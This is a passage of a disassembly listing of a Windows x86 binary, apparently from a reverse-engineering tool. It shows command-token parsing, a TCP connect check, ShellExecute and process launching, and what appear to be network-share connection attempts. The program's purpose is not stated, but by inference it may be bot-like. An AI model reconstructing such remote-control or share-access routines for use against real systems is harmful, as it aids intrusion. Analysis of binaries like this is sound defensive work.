endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BC20: ; CODE XREF: ___:00401569j mov al, [esp+4] cmp al, 20h jz short loc_41BC2F cmp al, 9 jz short loc_41BC2F xor al, al retn ; --------------------------------------------------------------------------- loc_41BC2F: ; CODE XREF: ___:0041BC26j ; ___:0041BC2Aj mov al, 1 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BC50: ; CODE XREF: ___:00401ED8j mov eax, [esp+4] push offset dword_443E8C push eax nop call near ptr 77C3F010h add esp, 8 test eax, eax jz short loc_41BC74 push eax call near ptr 77C40AB1h nop add esp, 4 mov al, 1 retn ; --------------------------------------------------------------------------- loc_41BC74: ; CODE XREF: ___:0041BC65j xor al, al retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BC90 proc near ; CODE XREF: sub_401479j var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_20 = byte ptr -20h arg_0 = dword ptr 4 sub esp, 30h push ebx push ebp push esi push edi mov edi, [esp+40h+arg_0] test edi, edi jz loc_41BEEE mov esi, offset byte_446F70 mov eax, edi loc_41BCAA: ; CODE XREF: sub_41BC90+3Cj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BCD2 test cl, cl jz short loc_41BCCE mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BCD2 add eax, 2 add esi, 2 test cl, cl jnz short loc_41BCAA loc_41BCCE: ; CODE XREF: sub_41BC90+26j xor eax, eax jmp short loc_41BCD7 ; --------------------------------------------------------------------------- loc_41BCD2: ; CODE XREF: sub_41BC90+22j ; sub_41BC90+32j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BCD7: ; CODE XREF: sub_41BC90+40j test eax, eax jz loc_41BEEE push 20h lea eax, [esp+44h+var_20] push edi push eax nop call near ptr 77C47A90h mov edi, dword_50FAF4 lea ecx, [esp+4Ch+var_20] push offset dword_443DD4 push ecx call edi ; strtok add esp, 14h mov [esp+40h+var_30], eax test eax, eax jz loc_41BEEE mov ebx, 1 lea esi, [esp+40h+var_2C] loc_41BD17: ; CODE XREF: sub_41BC90+A4j push offset dword_443DD4 push 0 call edi ; strtok add esp, 8 mov [esi], eax test eax, eax jz loc_41BEEE inc ebx add esi, 4 cmp ebx, 4 jl short loc_41BD17 mov ebp, [esp+40h+var_30] mov esi, offset dword_443EA8 mov eax, ebp loc_41BD41: ; CODE XREF: sub_41BC90+D3j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BD69 test dl, dl jz short loc_41BD65 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BD69 add eax, 2 add esi, 2 test dl, dl jnz short loc_41BD41 loc_41BD65: ; CODE XREF: sub_41BC90+BDj xor eax, eax jmp short loc_41BD6E ; --------------------------------------------------------------------------- loc_41BD69: ; CODE XREF: sub_41BC90+B9j ; sub_41BC90+C9j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BD6E: ; CODE XREF: sub_41BC90+D7j test eax, eax jnz short loc_41BD7C pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BD7C: ; CODE XREF: sub_41BC90+E0j mov esi, offset dword_443EA4 mov eax, ebp loc_41BD83: ; CODE XREF: sub_41BC90+115j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BDAB test dl, dl jz short loc_41BDA7 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BDAB add eax, 2 add esi, 2 test dl, dl jnz short loc_41BD83 loc_41BDA7: ; CODE XREF: sub_41BC90+FFj xor eax, eax jmp short loc_41BDB0 ; --------------------------------------------------------------------------- loc_41BDAB: ; CODE XREF: sub_41BC90+FBj ; sub_41BC90+10Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BDB0: ; CODE XREF: sub_41BC90+119j mov edi, [esp+40h+var_2C] test eax, eax jnz short loc_41BDFA mov esi, offset dword_443EA0 mov edx, edi loc_41BDBF: ; CODE XREF: sub_41BC90+151j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BDE7 test bl, bl jz short loc_41BDE3 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BDE7 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BDBF loc_41BDE3: ; CODE XREF: sub_41BC90+13Bj xor edx, edx jmp short loc_41BDEC ; --------------------------------------------------------------------------- loc_41BDE7: ; CODE XREF: sub_41BC90+137j ; sub_41BC90+147j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BDEC: ; CODE XREF: sub_41BC90+155j test edx, edx jnz short loc_41BDFA pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BDFA: ; CODE XREF: sub_41BC90+126j ; sub_41BC90+15Ej mov esi, offset dword_443E9C mov edx, ebp loc_41BE01: ; CODE XREF: sub_41BC90+193j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BE29 test bl, bl jz short loc_41BE25 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BE29 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BE01 loc_41BE25: ; CODE XREF: sub_41BC90+17Dj xor edx, edx jmp short loc_41BE2E ; --------------------------------------------------------------------------- loc_41BE29: ; CODE XREF: sub_41BC90+179j ; sub_41BC90+189j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BE2E: ; CODE XREF: sub_41BC90+197j test edx, edx jnz short loc_41BE74 mov esi, offset dword_443E98 mov edx, edi loc_41BE39: ; CODE XREF: sub_41BC90+1CBj mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BE61 test bl, bl jz short loc_41BE5D mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BE61 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BE39 loc_41BE5D: ; CODE XREF: sub_41BC90+1B5j xor edx, edx jmp short loc_41BE66 ; --------------------------------------------------------------------------- loc_41BE61: ; CODE XREF: sub_41BC90+1B1j ; sub_41BC90+1C1j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BE66: ; CODE XREF: sub_41BC90+1CFj test edx, edx jnz short loc_41BE74 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BE74: ; CODE XREF: sub_41BC90+1A0j ; sub_41BC90+1D8j mov esi, offset dword_443E94 mov ecx, ebp loc_41BE7B: ; CODE XREF: sub_41BC90+20Dj mov al, [ecx] mov bl, [esi] mov dl, al cmp al, bl jnz short loc_41BEA3 test dl, dl jz short loc_41BE9F mov al, [ecx+1] mov bl, [esi+1] mov dl, al cmp al, bl jnz short loc_41BEA3 add ecx, 2 add esi, 2 test dl, dl jnz short loc_41BE7B loc_41BE9F: ; CODE XREF: sub_41BC90+1F7j xor ecx, ecx jmp short loc_41BEA8 ; --------------------------------------------------------------------------- loc_41BEA3: ; CODE XREF: sub_41BC90+1F3j ; sub_41BC90+203j sbb ecx, ecx sbb ecx, 0FFFFFFFFh loc_41BEA8: ; CODE XREF: sub_41BC90+211j test ecx, ecx jnz short loc_41BEEE mov esi, offset dword_443E90 mov eax, edi loc_41BEB3: ; CODE XREF: sub_41BC90+245j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BEDB test cl, cl jz short loc_41BED7 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BEDB add eax, 2 add esi, 2 test cl, cl jnz short loc_41BEB3 loc_41BED7: ; CODE XREF: sub_41BC90+22Fj xor eax, eax jmp short loc_41BEE0 ; --------------------------------------------------------------------------- loc_41BEDB: ; CODE XREF: sub_41BC90+22Bj ; sub_41BC90+23Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BEE0: ; CODE XREF: sub_41BC90+249j test eax, eax jnz short loc_41BEEE pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BEEE: ; CODE XREF: sub_41BC90+Dj ; sub_41BC90+49j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 30h retn sub_41BC90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BFA0 proc near ; CODE XREF: sub_402004j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx push esi push 6 push 1 push 2 xor bl, bl call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41C008 cmp esi, 0FFFFFFFFh jz short loc_41C008 mov eax, [esp+18h+arg_0] push eax call near ptr 71AB2BF4h nop mov ecx, [esp+18h+arg_4] mov [esp+18h+var_C], eax push ecx call near ptr 71AB2B66h nop lea edx, [esp+18h+var_10] push 10h push edx push esi mov [esp+24h+var_E], ax mov [esp+24h+var_10], 2 call near ptr 71AB406Ah nop test eax, eax jnz short loc_41BFF9 mov bl, 1 loc_41BFF9: ; CODE XREF: sub_41BFA0+55j push esi nop call near ptr 71AB9639h mov al, bl pop esi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_41C008: ; CODE XREF: sub_41BFA0+18j ; sub_41BFA0+1Dj pop esi xor al, al pop ebx add esp, 10h retn sub_41BFA0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C030 proc near ; CODE XREF: sub_401299j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push 0 push eax push ecx push offset aOpen ; "open" push 0 nop call near ptr 7CA41110h cmp eax, 20h setnl al retn sub_41C030 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C070 proc near ; CODE XREF: sub_402149j var_54 = byte ptr -54h var_44 = dword ptr -44h var_14 = word ptr -14h arg_0 = dword ptr 4 sub esp, 54h push edi mov ecx, 11h xor eax, eax lea edi, [esp+58h+var_44] rep stosd mov [esp+58h+var_14], ax lea eax, [esp+58h+var_54] mov edx, [esp+58h+arg_0] lea ecx, [esp+58h+var_44] push eax push ecx push 0 push 0 push 28h push 0 push 0 push 0 push edx push 0 mov [esp+80h+var_44], 44h nop call near ptr 27F0D7Bh test eax, eax setnle al pop edi add esp, 54h retn sub_41C070 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C0E0: ; CODE XREF: ___:00401875j sub esp, 354h mov eax, off_443EB4 mov ecx, dword_443EB8 mov [esp+0], eax mov al, byte_446F70 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_443EBC rep stosd mov ecx, off_443EAC mov [esp+10h], edx mov dx, word_443EB0 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] xor edi, edi push eax push 0FFFFFFFFh push ecx push edi push edi nop call near ptr 27B0000h mov esi, dword_50FAAC lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi ; wcscat lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi ; wcscat mov esi, [esp+374h] add esp, 10h lea eax, [esp+12Ch] push edi push offset dword_50BB8C push offset dword_50BB8C push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+14h], eax mov [esi+1Ch], edi call sub_436FA8 ; --------------------------------------------------------------------------- cmp eax, 5 jz short loc_41C1C8 cmp eax, 4C3h jnz short loc_41C1D1 loc_41C1C8: ; CODE XREF: ___:0041C1BFj push edi push edi push edi push esi call sub_436FA8 ; --------------------------------------------------------------------------- loc_41C1D1: ; CODE XREF: ___:0041C1C6j pop edi cmp eax, 5 pop esi jz short loc_41C1E8 cmp eax, 4C3h jz short loc_41C1E8 mov al, 1 add esp, 354h retn ; --------------------------------------------------------------------------- loc_41C1E8: ; CODE XREF: ___:0041C1D6j ; ___:0041C1DDj xor al, al add esp, 354h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C250: ; CODE XREF: ___:00401EC9j sub esp, 354h mov eax, off_443EB4 mov ecx, dword_443EB8 mov [esp+0], eax mov al, byte_446F70 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_443EBC rep stosd mov ecx, off_443EAC mov [esp+10h], edx mov dx, word_443EB0 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] push eax push 0FFFFFFFFh push ecx push 0 push 0 call near ptr 27B0000h nop mov esi, dword_50FAAC lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi ; wcscat lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi ; wcscat add esp, 10h lea eax, [esp+12Ch] push 0 push 0 push eax call sub_436FAE ; --------------------------------------------------------------------------- test eax, eax jz short loc_41C338 mov esi, dword_50F8D0 loc_41C31C: ; CODE XREF: ___:0041C336j push 7D0h call esi push 0 lea ecx, [esp+130h] push 0 push ecx call sub_436FAE ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41C31C loc_41C338: ; CODE XREF: ___:0041C314j pop edi mov al, 1 pop esi add esp, 354h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41C390 proc near ; CODE XREF: sub_401D7Fj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41C390 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 0Ch push 4 push 4Fh push 10h push 14h lea eax, [esp+5Ch+var_3C] push 6 mov esi, ecx push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_41C390 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h lea edx, [esp+24h] push 6 push edx call sub_4019B5 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+118h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 15h push 4Fh push 10h push 14h lea ecx, [esp+20h] push 6 push ecx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+0EAh] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 4 push 4Fh push 10h push 14h push 14h lea eax, [esp+24h] push 8 push eax call sub_4019B5 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h push 14h lea edx, [esp+28h] push 8 push edx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 push eax lea eax, [esi+60h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 14h push 1 push 4 push 10h push 15h push 4Fh push 10h push 14h push 14h lea ecx, [esp+4Ch] push 8 push ecx call sub_4019B5 add esp, 34h push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017E4 add esi, 32h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C610 proc near ; CODE XREF: sub_401064j var_111 = byte ptr -111h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_F4 = byte ptr -0F4h var_DC = byte ptr -0DCh var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_94 = byte ptr -94h var_7C = byte ptr -7Ch var_67 = byte ptr -67h var_52 = byte ptr -52h var_3D = byte ptr -3Dh var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_41C610 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 108h push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+124h+var_10C] call sub_401424 lea ecx, [esp+124h+var_DC] mov [esp+124h+var_4], 0 call sub_401424 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401424 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401424 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401424 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_401B36 mov esi, [esp+124h+arg_0] mov bl, 5 lea ecx, [ebp+8Eh] mov byte ptr [esp+124h+var_4], bl lea edi, [esi+7Eh] call sub_4017E4 push eax mov ecx, edi call sub_4012EE lea ecx, [ebp+4] call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_41C83C push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016AE lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 6 push ecx mov ecx, eax call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE push offset asc_443C94 ; ":" lea ecx, [esp+128h+var_10C] call sub_401A9B mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FBE push 1 push offset asc_443600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 7 call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 8 jz short loc_41C7CC mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41C7CE ; --------------------------------------------------------------------------- loc_41C7CC: ; CODE XREF: sub_41C610+1AFj xor edi, edi loc_41C7CE: ; CODE XREF: sub_41C610+1BAj lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FBE lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FBE lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013D4 loc_41C83C: ; CODE XREF: sub_41C610+C0j lea ecx, [ebp+60h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41C9BB push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016AE lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 9 push ecx mov ecx, eax call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE push offset asc_443C94 ; ":" lea ecx, [esp+128h+var_10C] call sub_401A9B mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FBE push 1 push offset asc_443600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Ah call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Bh jz short loc_41C94B mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41C94D ; --------------------------------------------------------------------------- loc_41C94B: ; CODE XREF: sub_41C610+32Ej xor edi, edi loc_41C94D: ; CODE XREF: sub_41C610+339j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FBE lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FBE lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FBE mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013D4 loc_41C9BB: ; CODE XREF: sub_41C610+23Fj lea ecx, [ebp+32h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CBF6 push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016AE lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 0Ch push ecx mov ecx, eax call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE push offset asc_443C94 ; ":" lea ecx, [esp+128h+var_10C] call sub_401A9B mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FBE push 1 push offset asc_443600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Dh call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 3 push eax mov ecx, esi call sub_4016AE push offset word_44759A mov ecx, eax mov byte ptr [esp+128h+var_4], 0Eh call sub_401B72 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41CB5E lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014B0 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D212 ; --------------------------------------------------------------------------- loc_41CB5E: ; CODE XREF: sub_41C610+4D6j push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Fh jz short loc_41CB86 mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41CB88 ; --------------------------------------------------------------------------- loc_41CB86: ; CODE XREF: sub_41C610+569j xor edi, edi loc_41CB88: ; CODE XREF: sub_41C610+574j lea ecx, [esp+124h+var_10C] mov byte ptr [esp+124h+var_4], bl push ecx lea ecx, [edi+11h] call sub_401FBE lea edx, [esp+124h+var_DC] lea ecx, [edi+26h] push edx call sub_401FBE lea eax, [esp+124h+var_C4] lea ecx, [edi+65h] push eax call sub_401FBE lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 0 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013D4 loc_41CBF6: ; CODE XREF: sub_41C610+3BEj lea ecx, [ebp+0BCh] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CD9B push offset asc_443600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 10h call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FBE lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FBE lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FBE push 1 push offset asc_443600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 11h call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 12h jz short loc_41CD0E mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41CD10 ; --------------------------------------------------------------------------- loc_41CD0E: ; CODE XREF: sub_41C610+6F1j xor edi, edi loc_41CD10: ; CODE XREF: sub_41C610+6FCj lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FBE lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FBE lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FBE lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FBE lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013D4 loc_41CD9B: ; CODE XREF: sub_41C610+5FCj lea ecx, [ebp+118h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CF40 push offset asc_443600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 13h call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FBE lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FBE lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FBE push 1 push offset asc_443600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, 